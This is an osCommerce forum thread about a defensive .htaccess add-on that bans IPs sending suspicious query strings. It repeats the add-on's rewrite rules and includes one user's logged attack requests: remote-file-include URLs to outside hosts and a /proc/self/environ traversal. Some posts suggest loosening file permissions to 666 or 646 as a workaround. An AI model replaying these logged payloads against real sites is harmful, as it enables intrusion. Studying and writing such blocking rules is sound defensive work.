Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

XSS/ BAD BEHAVIOR BLOCK


Debs

Recommended Posts

Actually Security Pro does not make this program redundant, if anything they tend to compliment each other.

 

Security Pro may stop the scripting getting through but this program drops the broad hint to the hackers that they can not access your site to insert the script in the first place.

 

Since installing this contribution hack attempts on my whole site (not just osC) have diminished to zero very quickly - they remained active with just Security Pro installed

 

I'm glad it's working for you Julian, and thank you for the kind words of support.

 

I've tried to simplify how it works and actually made this release much less complex to show how it operates. I developed and used this for some years before security-pro (I use that too) was released (another good contribution but it only protects osc files).

 

Remember, new rules can be added at any time. Because hackers will try a variation of attempts, the simple rules included will catch/ block them very quickly.

 

Let me expand a bit on how it operates; here is a good working example...

 

A hack attempt recently stopped and recorded:

 

03-01-11 / 02:45:40 - 67.72.192.181 - /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=file&folder=

08-01-11 / 15:38:12 - 109.120.144.247 - /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=file&folder=

 

As can be seen in the logged attempt above, the hacker was trying to access

this file: .../tinybrowser.php

 

It is irrelevant that the file location (or file) may not even exist on the server!

 

They were trying a brute force attack, and were immediately stopped.

 

Notice the file path is irrelevant; they will try many if left unchecked. The file they are trying to locate is flagged to stop them (tinybrowser.php).

If you do not use tinybrowser.php, then simply add that to your blocked list as shown below.

 

Again notice the syntax of the block... we only add the file name and the extension.

The hacker will be blocked on the first attempt.

 

Here is what the htaccess will look like when appended to block this:

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

RewriteRule tinybrowser\.php$ bad_conduct/ban.php [NC,L]

 

As you can see, this system allows for unlimited variations to block the hackers. Because the same hacker will try a few variations, only a few simple syntax rules are required to block all hackers. I hope that better explains how it works.

Kind regards,

Debs

Link to comment
Share on other sites

  • Replies 121
  • Created
  • Last Reply

Debs, one of the places I've noticed the hackers trying to access is the cPanel, apart from full control of your site if they manage to do it, a hacker being able to enable Frontpage Extensions in your cPanel will completely destroy every .htaccess file on your site - not a pretty thought.

My store is currently running Phoenix 1.0.3.0

I'm currently working on 1.0.7.2 and hope to get it live before 1.0.8.0 arrives (maybe 🙄 )

I used to have a list of add-ons here but I've found that with the ones that supporters of Phoenix get any other add-ons are not really neccessary

Link to comment
Share on other sites

Debs, one of the places I've noticed the hackers trying to access is the cPanel, apart from full control of your site if they manage to do it, a hacker being able to enable Frontpage Extensions in your cPanel will completely destroy every .htaccess file on your site - not a pretty thought.

 

 

Well there are a few important things you can do to minimize/ eliminate that threat from ever happening...

 

Keeping in mind that cPanel exploits requires the attacker to have an existing account with the victim that has cPanel access; I would recommend you only host with a company that requires good identification when you sign up. This will deter hackers who would also have to sign up and (as they can easily be traced).

 

Also check that the hosting company has all server updates/ patches current.

 

A good way to check is to ask if they have pci compliant hosting. This requires very strict guidelines from the hosting company! I prefer large hosting companies as they tend to keep patches and updates current, and never go through a reseller.

 

Regards,

Debs

Link to comment
Share on other sites

  • 3 weeks later...

Great contribution. I'm using it on several sites.

 

I've only run into an issue today and I'm not sure if it was because of the order of installation of various security contributions.

 

The other sites I've always added your contrib last.

 

This time, I added Security Pro 2, then Bad Behavior then Site Monitor.

 

Now when I go into my admin section to set up Site Monitor, I get the 403 page and my IP gets added to the htaccess file as 'deny from'.

 

So, I temporarily disabled Bad Behavior - then continued setting up Site Monitor.

 

I also added two cron jobs that will run Site Monitor. I re-enabled Bad Behavior and now I still get the 403 page, and my IP is denied when I try to access the 'configure' section of Site Monitor in my admin.

 

Is there a way to always allow a script to run? How can I remedy this situation?

 

Thanks in advance.

 

Dave

Link to comment
Share on other sites

I think you are doing a bit of belt&braces there, Dave, I would say that Bad Behavior is better than Site Monitor as BB covers your whole site - Some would say that neither are necessary if you use Security Pro as Security Pro strips the bad code before it can implement anything but Security Pro and Site Monitor only work on osC.

 

If I had to get rid of one it would be Site Monitor...

My store is currently running Phoenix 1.0.3.0

I'm currently working on 1.0.7.2 and hope to get it live before 1.0.8.0 arrives (maybe 🙄 )

I used to have a list of add-ons here but I've found that with the ones that supporters of Phoenix get any other add-ons are not really neccessary

Link to comment
Share on other sites

Great contribution. I'm using it on several sites.

 

I've only run into an issue today and I'm not sure if it was because of the order of installation of various security contributions.

 

The other sites I've always added your contrib last.

 

This time, I added Security Pro 2, then Bad Behavior then Site Monitor.

 

Now when I go into my admin section to set up Site Monitor, I get the 403 page and my IP gets added to the htaccess file as 'deny from'.

 

So, I temporarily disabled Bad Behavior - then continued setting up Site Monitor.

 

I also added two cron jobs that will run Site Monitor. I re-enabled Bad Behavior and now I still get the 403 page, and my IP is denied when I try to access the 'configure' section of Site Monitor in my admin.

 

Is there a way to always allow a script to run? How can I remedy this situation?

 

Thanks in advance.

 

Dave

 

 

Hi Dave, you may be blocking yourself because you are trying to access a setup.php file on your server.

I have it highlighted below (in red) so you can see it in the htaccess rule below:

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

 

If you need to access setup.php, temporarily disable this one line from your htaccess so it looks like this:

# RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

 

You may have to leave the rule out if you intend to continuously run setup.php files on your server. I would not recommend this though as it is advisable to always block access to setup files.

You could rename your setup file and your call/s to it.

 

Regards,

Debs

Link to comment
Share on other sites

I have installed the contribution and it's working fine for me, but only when I set the .htaccess file in my ROOT to 777 and only for the sites in my root, not the store which is in a different folder. I'm not sure, if 777 for the .htaccess is secure. How about the file permissions 777 in the /admin/.htaccess+.htpasswd by the way? Data.html is only working when I set permissions to 666 for that file.

 

How can I make this contrib work in my store folder?

Am I missing something?

Link to comment
Share on other sites

Hi Dave, you may be blocking yourself because you are trying to access a setup.php file on your server.

I have it highlighted below (in red) so you can see it in the htaccess rule below:

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

 

If you need to access setup.php, temporarily disable this one line from your htaccess so it looks like this:

# RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

 

You may have to leave the rule out if you intend to continuously run setup.php files on your server. I would not recommend this though as it is advisable to always block access to setup files.

You could rename your setup file and your call/s to it.

 

Regards,

Debs

 

Excellent! Thank you!

Link to comment
Share on other sites

I think you are doing a bit of belt&braces there, Dave, I would say that Bad Behavior is better than Site Monitor as BB covers your whole site - Some would say that neither are necessary if you use Security Pro as Security Pro strips the bad code before it can implement anything but Security Pro and Site Monitor only work on osC.

 

If I had to get rid of one it would be Site Monitor...

 

So, a little too much huh. LOL

 

Ok - well, I maintain many websites and I'm thinking about SiteLock as an alternative (yes, it costs $$ per month - but if BB and Security Pro are the OSC contribs that work the best, then so be it.

 

Thanks for the input!

 

Dave

Link to comment
Share on other sites

I have installed the contribution and it's working fine for me, but only when I set the .htaccess file in my ROOT to 777 and only for the sites in my root, not the store which is in a different folder. I'm not sure, if 777 for the .htaccess is secure. How about the file permissions 777 in the /admin/.htaccess+.htpasswd by the way? Data.html is only working when I set permissions to 666 for that file.

 

How can I make this contrib work in my store folder?

Am I missing something?

 

No set to 777 is certainly not secure. Please read a page or two back for the proper settings that will work securely for your server.

 

Regards,

Debs

Link to comment
Share on other sites

So, a little too much huh. LOL

 

Ok - well, I maintain many websites and I'm thinking about SiteLock as an alternative (yes, it costs $$ per month - but if BB and Security Pro are the OSC contribs that work the best, then so be it.

 

Thanks for the input!

 

Dave

 

Really Security Pro protects a very few front door type files. It does little to protect you from many of the methods a hacker would use to attack you.

 

I'm not picking on it at all. But it is quite foolish to only be satisfied with protecting a handful of entry pages and rely on that as website protection. In reality, a hacker will try accessing folders and files directly. Most hackers will attempt to traverse directories and/or enter strings directly into files etc. If the hacker is really inexperienced or hoping he will get lucky... he may try only your application_top.php loaded pages. This would be wishful thinking though.

 

It's nice to be able to ban him when he tries any of these methods.

 

The amount of bans is really very low after the first week (most often one or two 'or none') your attacks will quickly dwindle down to almost nonexistent. Plus... it uses no (almost none) system resources. Certainly the quickest part of your website. Remember we are using select rules and ban only hackers.

I don't see the point of banning whole countries with hundreds of ip blocks etc. This only bans the hacker and he gives up on you for easier prey. It's simple but effective.

Link to comment
Share on other sites

So, a little too much huh. LOL

 

Ok - well, I maintain many websites and I'm thinking about SiteLock as an alternative (yes, it costs $$ per month - but if BB and Security Pro are the OSC contribs that work the best, then so be it.

 

Thanks for the input!

 

Dave

Really Security Pro protects a very few front door type files. It does little to protect you from many of the methods a hacker would use to attack you.

 

I'm not picking on it at all. But it is quite foolish to only be satisfied with protecting a handful of entry pages and rely on that as website protection. In reality, a hacker will try accessing folders and files directly. Most hackers will attempt to traverse directories and/or enter strings directly into files etc. If the hacker is really inexperienced or hoping he will get lucky... he may try only your application_top.php loaded pages. This would be wishful thinking though.

 

It's nice to be able to ban him when he tries any of these methods.

 

The amount of bans is really very low after the first week (most often one or two 'or none') your attacks will quickly dwindle down to almost nonexistent. Plus... it uses no (almost none) system resources. Certainly the quickest part of your website. Remember we are using select rules and ban only hackers.

I don't see the point of banning whole countries with hundreds of ip blocks etc. This only bans the hacker and he gives up on you for easier prey. It's simple but effective.

 

 

Debs,

 

In Dave's quote, BB = Bad Behavior ;)

 

 

Security Pro is a good first line of defence for osC

 

Bad Behavior protects your whole site which what I like about it :thumbsup:

My store is currently running Phoenix 1.0.3.0

I'm currently working on 1.0.7.2 and hope to get it live before 1.0.8.0 arrives (maybe 🙄 )

I used to have a list of add-ons here but I've found that with the ones that supporters of Phoenix get any other add-ons are not really neccessary

Link to comment
Share on other sites

No set to 777 is certainly not secure. Please read a page or two back for the proper settings that will work securely for your server.

 

Regards,

Debs

 

Here's what I did so far:

 

1) uploaded the bad_conduct folder to the root of my website. My store is in a different folder.

2) deleted the .htaccess file in the bad_conduct folder

3) created a new .htaccess file and put it in the root of my website with the following content:

 

########### mod_rewrite in use

########### your rewrite engine is already on if you use a URL rewrite contribution etc.

########### if so, you can then skip the next line and start with BAD BEHAVI... line

RewriteEngine On

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

 

########### BAD BEHAVIOR BLOCK rules to ban exploits

########### IMPORTANT!

########### Add one blank line at the very end of the .htaccess file

<Files 403.shtml>

order allow,deny

allow from all

</Files>

 

deny from 67.19.142.226

 

4) added blank line at the end of the .htaccess

5) set the permissions for the data.html to 644, the folder to 755 and the .htaccess to 644

When I do that and go to http://www.mywebsite.com/phpMyAdmin-4/scripts/setup.php

I get the same error as pctekcomponents posted, which looks like this:

 

Warning: fopen(../.htaccess) [function.fopen]: failed to open stream: Permission denied in /home/*********/*********/bad_conduct/ban.php on line 18

Warning: fopen(data.html) [function.fopen]: failed to open stream: Permission denied in /home/*********/*********/bad_conduct/ban.php on line 29

Warning: fwrite(): supplied argument is not a valid stream resource in /home/*********/*********/bad_conduct/ban.php on line 30

Warning: fclose(): supplied argument is not a valid stream resource in /home/*********/*********/bad_conduct/ban.php on line 31

Forbidden!

 

If I change the permissions on the data.html to 666 and 777 on the .htaccess it works fine.

Link to comment
Share on other sites

Really Security Pro protects a very few front door type files. It does little to protect you from many of the methods a hacker would use to attack you.

 

I'm not picking on it at all. But it is quite foolish to only be satisfied with protecting a handful of entry pages and rely on that as website protection. In reality, a hacker will try accessing folders and files directly. Most hackers will attempt to traverse directories and/or enter strings directly into files etc. If the hacker is really inexperienced or hoping he will get lucky... he may try only your application_top.php loaded pages. This would be wishful thinking though.

 

It's nice to be able to ban him when he tries any of these methods.

 

The amount of bans is really very low after the first week (most often one or two 'or none') your attacks will quickly dwindle down to almost nonexistent. Plus... it uses no (almost none) system resources. Certainly the quickest part of your website. Remember we are using select rules and ban only hackers.

I don't see the point of banning whole countries with hundreds of ip blocks etc. This only bans the hacker and he gives up on you for easier prey. It's simple but effective.

 

Debs,

 

Thanks for your great contribution, but your input is very misleading here.

 

Your contribution is great and so is Security Pro. Both compliment each other.

 

Security Pro works by protecting "all" query strings. Which really means that it protects the "entire" site (oscommerce) This isn't a discussion about security or protection for different commercial or open source softwares.

 

Security needs to live in the heart of good code, in this case php. Please spend some site on sites such as stackoverflow.com to learn about good security practice. Blacklisting NEVER works. I noticed that you mentioned that you have a daughter who is an expert in security. Please confirm with her that good security comes from only whitelisting what should be allowed rather than blacklisting what could be a potential security hole. By blacklisting you only open yourself to a cat and mouse chase.

 

To answer some of your concerns, EVERY oscommerce page should load application_top.php first.

 

Again, thanks for your great contribution, but please keep discussions here with an open mind to what others also contribute. By no means am I claiming to be an expert.

Link to comment
Share on other sites

Debs,

 

Thanks for your great contribution, but your input is very misleading here.

 

Your contribution is great and so is Security Pro. Both compliment each other.

 

Security Pro works by protecting "all" query strings. Which really means that it protects the "entire" site (oscommerce) This isn't a discussion about security or protection for different commercial or open source softwares.

 

Security needs to live in the heart of good code, in this case php. Please spend some site on sites such as stackoverflow.com to learn about good security practice. Blacklisting NEVER works. I noticed that you mentioned that you have a daughter who is an expert in security. Please confirm with her that good security comes from only whitelisting what should be allowed rather than blacklisting what could be a potential security hole. By blacklisting you only open yourself to a cat and mouse chase.

 

To answer some of your concerns, EVERY oscommerce page should load application_top.php first.

 

Again, thanks for your great contribution, but please keep discussions here with an open mind to what others also contribute. By no means am I claiming to be an expert.

 

I never meant it that way at all. My comment certainly wasn't about bashing or anything like that. I certainly don't feel that way. Wow.

 

I often times rush typing and come across forward when that is not inline with what I am trying to say. I started out by praising and earlier stated how I myself like that contribution. I was merely pointing out that it may not be complete coverage. Again I have to rush this as I have but a moment but when I logged on and saw my comment was mistaken, I felt I better put a stop to that as it was not how I intended it. I have the greatest respect for Robert. That is a fact. He is one of the top coders osc has ever had. I'm quite certain he has forgotten more then I would ever know.

Link to comment
Share on other sites

Here's what I did so far:

 

1) uploaded the bad_conduct folder to the root of my website. My store is in a different folder.

2) deleted the .htaccess file in the bad_conduct folder

3) created a new .htaccess file and put it in the root of my website with the following content:

 

########### mod_rewrite in use

########### your rewrite engine is already on if you use a URL rewrite contribution etc.

########### if so, you can then skip the next line and start with BAD BEHAVI... line

RewriteEngine On

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

RewriteRule ^(.*)$ bad_conduct/ban.php [L]

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

 

RewriteRule setup\.php$ bad_conduct/ban.php [NC,L]

RewriteRule file_manager\.php$ bad_conduct/ban.php [NC,L]

 

########### BAD BEHAVIOR BLOCK rules to ban exploits

########### IMPORTANT!

########### Add one blank line at the very end of the .htaccess file

<Files 403.shtml>

order allow,deny

allow from all

</Files>

 

deny from 67.19.142.226

 

4) added blank line at the end of the .htaccess

5) set the permissions for the data.html to 644, the folder to 755 and the .htaccess to 644

When I do that and go to http://www.mywebsite.com/phpMyAdmin-4/scripts/setup.php

I get the same error as pctekcomponents posted, which looks like this:

 

Warning: fopen(../.htaccess) [function.fopen]: failed to open stream: Permission denied in /home/*********/*********/bad_conduct/ban.php on line 18

Warning: fopen(data.html) [function.fopen]: failed to open stream: Permission denied in /home/*********/*********/bad_conduct/ban.php on line 29

Warning: fwrite(): supplied argument is not a valid stream resource in /home/*********/*********/bad_conduct/ban.php on line 30

Warning: fclose(): supplied argument is not a valid stream resource in /home/*********/*********/bad_conduct/ban.php on line 31

Forbidden!

 

If I change the permissions on the data.html to 666 and 777 on the .htaccess it works fine.

 

I noticed another having issues with file permissions. For the htaccess he was able to use 646

 

His host assured him it was safe. As a fall back, you could try that.

Link to comment
Share on other sites

This is Debs, just a quick personal message...

 

Over the last decade I have had many online business websites and currently have my hands full with many. I've had to become PCI compliant, often while running the first release of oscommerce.

 

I think we all have come a long way since then! Most of my websites have much more then just osc files. I have always had to use at least some .htaccess protection to keep them secure.

That is my background and why I thought this quick and simple system (that I have relied on for years) could help others too. I really did not expect anyone to have issues installing or using this quick add-on it if they chose to do so. I had also figured the support area here would merely be for the occasional tweak by others, with ideas tossed back and forth by you guys.

 

With that said...

I am able to concede to the fact that this is an oscommerce forum and this type of contribution is not necessary here. I have seen this mentioned a handful of times even in other contributions. Now, I can not even argue that they are wrong. What works for me doesn't always work for others. I've crossed the 40yo mark and ya know what they say about us and change! These last years software and coding have advanced and many of our old methods from even 4-5 years ago are no longer needed.

 

I feel we should let this contribution dry up (please honor this) and all concentrate on keeping our code clean and other contributions moving forward. Thank you.

Being a non controversial person, and more importantly also willing to listen to the experts here, who do not recommend banning in any way as a means of protection. I no longer recommend this to anyone here as a viable solution for site protection.

Link to comment
Share on other sites

I feel we should let this contribution dry up (please honor this) and all concentrate on keeping our code clean and other contributions moving forward. Thank you.

Being a non controversial person, and more importantly also willing to listen to the experts here, who do not recommend banning in any way as a means of protection. I no longer recommend this to anyone here as a viable solution for site protection.

 

My response is a mixture of philosophy and practicality. I am not a skilled coder so this take is from a shop owner running OSC (several now) side of things.

 

I believe I grasp the tactical side of white listing and black listing. If I do have the concept understood correctly it seems to me that those saying black listing is not the way to go is because that there are so many sources an attack could come from, it's just impractical to attack those one by one; i.e. you'll never get them all. And maybe your accidentally black list a visit you really want, like a good search engine. Whereas white listing only allows the "safe" visitors access, by whatever means "safe" is delineated.

 

If that's it, OK, I think I get it. And it makes sense.

 

But even though I am not from Missouri, I still have a little of the "show me" inside. So because I am not a skilled coder I have to "trust" the code that the good folks provide here will work. But in the real world, while trust is nice, validation of that trust is even better, so for me seeing the results of a bad IP getting "trapped" or "blocked" or whatever is an affirmation that the code I have used is working.

 

Yea...if I really knew code well I could probably conclude, "hey, this person really did a nice job on that code and since I know what's going on I am sure it will work..."

 

But like I said, I am not a skilled coder so add ons like Fimble's IP trap and Celextel's PHP Intrusion Detection System give that feed back to me by snagging those misbehaving IPs and showing me that something happened and it was caught. So I feel better about that.

 

I have not installed Debb's add on because it appears to do much of what I have already had installed in my .htaccess file via the XXS Shield add on as mentioned before in this topic. Meaning Debb's .htaccess coding is almost identical to the XXS shield coding. But with Debb's I would get "feedback" by being able to view the catch.

 

All that said, I am not sure what I am going do now, because I do trust the XXS shield to do it's job, even though I won't have easy and quick feed back. I guess I could troll through the logs daily and see what may have happened, but....for me trolling logs daily is not practical.

 

Well enough of that.

 

I do want to thank everyone who does know code, who takes time to put that here so folks like me are able to act as reasonably efficient webmasters and run functioning and hopefully profit making on line shops.

I am not a professional webmaster or PHP coder by background or training but I will try to help as best I can.

I remember what it was like when I first started with osC. It can be overwhelming.

However, I strongly recommend considering hiring a professional for extensive site modifications, site cleaning, etc.

There are several good pros here on osCommerce. Look around, you'll figure out who they are.

Link to comment
Share on other sites

This is Debs, just a quick personal message...

 

 

 

I feel we should let this contribution dry up (please honor this) and all concentrate on keeping our code clean and other contributions moving forward. Thank you.

Being a non controversial person, and more importantly also willing to listen to the experts here, who do not recommend banning in any way as a means of protection. I no longer recommend this to anyone here as a viable solution for site protection.

 

 

Sorry Debs I do not agree, no way should this contribution be allowed to dry up.

 

It is block banning or black listing that does not work e.g. advocating the banning of all Turkish IPs because hackers come from Turkey, sure they do, and every other country in the world as well!

 

Backlisting = deny access to these people; Whitelisting = allow access to these people - what is the difference? In the world of commerce, with either method, you are just saying we are not selling to you because your countrymen try to steal from us... can you imagine that happening in the real world "sorry we don't sell to people from downtown because that were all the shoplifters live"

 

This is why your Bad Behavior Block is so important, it only stops those that intend to harm the store while those that just want to buy still get access no matter where in the world they are.

 

Perhaps those here that "who do not recommend banning in any way as a means of protection" also advocate not putting real world criminals behind bars...

My store is currently running Phoenix 1.0.3.0

I'm currently working on 1.0.7.2 and hope to get it live before 1.0.8.0 arrives (maybe 🙄 )

I used to have a list of add-ons here but I've found that with the ones that supporters of Phoenix get any other add-ons are not really neccessary

Link to comment
Share on other sites

Sorry Debs I do not agree, no way should this contribution be allowed to dry up.

 

It is block banning or black listing that does not work e.g. advocating the banning of all Turkish IPs because hackers come from Turkey, sure they do, and every other country in the world as well!

 

Backlisting = deny access to these people; Whitelisting = allow access to these people - what is the difference? In the world of commerce, with either method, you are just saying we are not selling to you because your countrymen try to steal from us... can you imagine that happening in the real world "sorry we don't sell to people from downtown because that were all the shoplifters live"

 

This is why your Bad Behavior Block is so important, it only stops those that intend to harm the store while those that just want to buy still get access no matter where in the world they are.

 

Perhaps those here that "who do not recommend banning in any way as a means of protection" also advocate not putting real world criminals behind bars...

 

I am not always great at translating thoughts into words. I had attempted to point out that not every page on my osCommerce sites were a bare install. For example my largest site has thousands of other files; including custom download pages.

 

Also, I have many other custom osc changes such as tell a friend that when accessed overlays as to not remove them from the current page, newsletter signups etc. Of course none of these are protected by application_top. Also due to the hundreds of download files, video galleries, online books etc. We are globally targeted for attacks. osCommerce is not the only way the hackers try to get in my sites, although it is the most common attempt.

 

Being hacked before, I even paid security professionals to help lock things down without effecting our guests. Really .htaccess protection was a large part of the changes I had to implement. Relying on what has served me for so long and so well, I shared it. Certainly this is not the only means of protection but realizing that most people also use a shared host and have no deeper access... this suffices as a happy medium and what I depend on the most. We block because the hackers will not quit if left unchecked and their continued attempts put a drain on the server. I selectively block only those who abuse because I have global customers including China, South America, all of Europe etc.

 

My .htaccess rules include more then what I threw together for this add-on, but that was meant as a simple starting point that would block most hack attempts.

My checkout system, product_info.php etc. is never stock osCommerce, but I can not see this having an issue with that.

I'll share this as my last post on this topic:

 

I also have this; needed to protect the high traffic download area of my site, minus additional rules set to block malicious cookie exploits.

 

########## BAD BEHAVIOR BLOCK rules to ban exploits

RewriteCond %{QUERY_STRING} [^?]*\? [OR]

RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]

RewriteCond %{QUERY_STRING} (///) [OR]

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

et cetera etc. existing/ additional blocks here...

 

First RewriteCond checks if the query string has more than one question mark (a pattern used in attacks).

Second RewriteCond will stop directory traversal attacks.

Third one disallows three or more slashes in the query string (a pattern used by hackers).

Forth rule looks for the presence of “localhost”, “loopback” or “127.0.0.1” in the query string. The inclusion of one indicates the submission of a URL as part of the query, where the URL relates to the web-server.

Link to comment
Share on other sites

Debs,

 

I am sorry to hear that you are abandoning the project.

 

Please understand that oscommerce (a transaction based site) should not be mingled with any other commercial or open source software including but not limited to wordpress, vbulletin etc. etc.

 

I understand that a lot of us including me have a need to run other things such as a wordpress blog, we must understand that due to the widespread adaption of the software it is bound to have security leaks and holes which result in wordpress being compromised. That much we can agree on.

 

At the same time you have to also understand that by combining several pieces of software under one account and then looking for a one-size-fits-all solution for security, it is simply not a good practice.

 

Unfortunately, we live in a world where "idiots" who like to hack (crack) sites will never stop. Our best defense is to apply the best security to each product individually.

 

I will reiterate what I said earlier. I do not agree with blacklisting and here is why. I have a 404 error captcher which inputs a lot of data in the database so I can review it. Recently my company relaunched our site on oscommerce after months of development which gets over 3 dozen orders a day. This is to give you an idea of how much traffic we get. We have a huge database of blacklisting and everyday I personally see atleast 20 to 40 new files or folders being accessed by these dumb idiots. (I have posted some example at the bottom)

 

So my point is, that yes some of the XSS and other things you posted such as base64_encode, *script, *iframe are great and MUST always be used for all sites IMO. But they should NOT be considered the final security solution.

 

With that being said, I do hope they you will change your mind and continue supporting the project.

 

 

Here is a list of today's attempts:

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://boubennec-family.com/albumphoto/cache/open.txt???

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://boubennec-family.com/albumphoto/cache/open.txt???

/poll/booth.php?include_path=http://www.healthbeyond2000.co.nz/shop/pma/themes/original/css/id.txt???

/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://lcss.us/templates.NEW/id??

//poll/comments.php?id=%7B$%7Binclude($ddd)%7D%7D%7B$%7Bexit()%7D%7D&ddd=http://www.kiralymezoterapia.hu/e107_files/tmp/files/id1.txt??

//mysql/

//pma/

//myadmin/

//MyAdmin/

//phpMyAdmin/

//phpmyadmin/

//index2.php?option=com_google&controller=../../../../../../../../../../../../../../..//proc/self/environ%0000

//index2.php?option=com_google&controller=../../../../../../../../../../../../../../..//proc/self/environ%0000

Link to comment
Share on other sites

 

With that being said, I do hope they you will change your mind and continue supporting the project.

 

As do I.

 

From that I see so far, I believe this will add a layer of security to my shops that I should have. As well, working with your add on would help me better grasp the strategy and principles behind the code. But I will need support for that if I run into something I can't figure out for myself.

I am not a professional webmaster or PHP coder by background or training but I will try to help as best I can.

I remember what it was like when I first started with osC. It can be overwhelming.

However, I strongly recommend considering hiring a professional for extensive site modifications, site cleaning, etc.

There are several good pros here on osCommerce. Look around, you'll figure out who they are.

Link to comment
Share on other sites

Debs,

 

I am sorry to hear that you are abandoning the project.

 

Please understand that oscommerce (a transaction based site) should not be mingled with any other commercial or open source software including but not limited to wordpress, vbulletin etc. etc.

 

I understand that a lot of us including me have a need to run other things such as a wordpress blog, we must understand that due to the widespread adaption of the software it is bound to have security leaks and holes which result in wordpress being compromised. That much we can agree on.

 

At the same time you have to also understand that by combining several pieces of software under one account and then looking for a one-size-fits-all solution for security, it is simply not a good practice.

 

Unfortunately, we live in a world where "idiots" who like to hack (crack) sites will never stop. Our best defense is to apply the best security to each product individually.

 

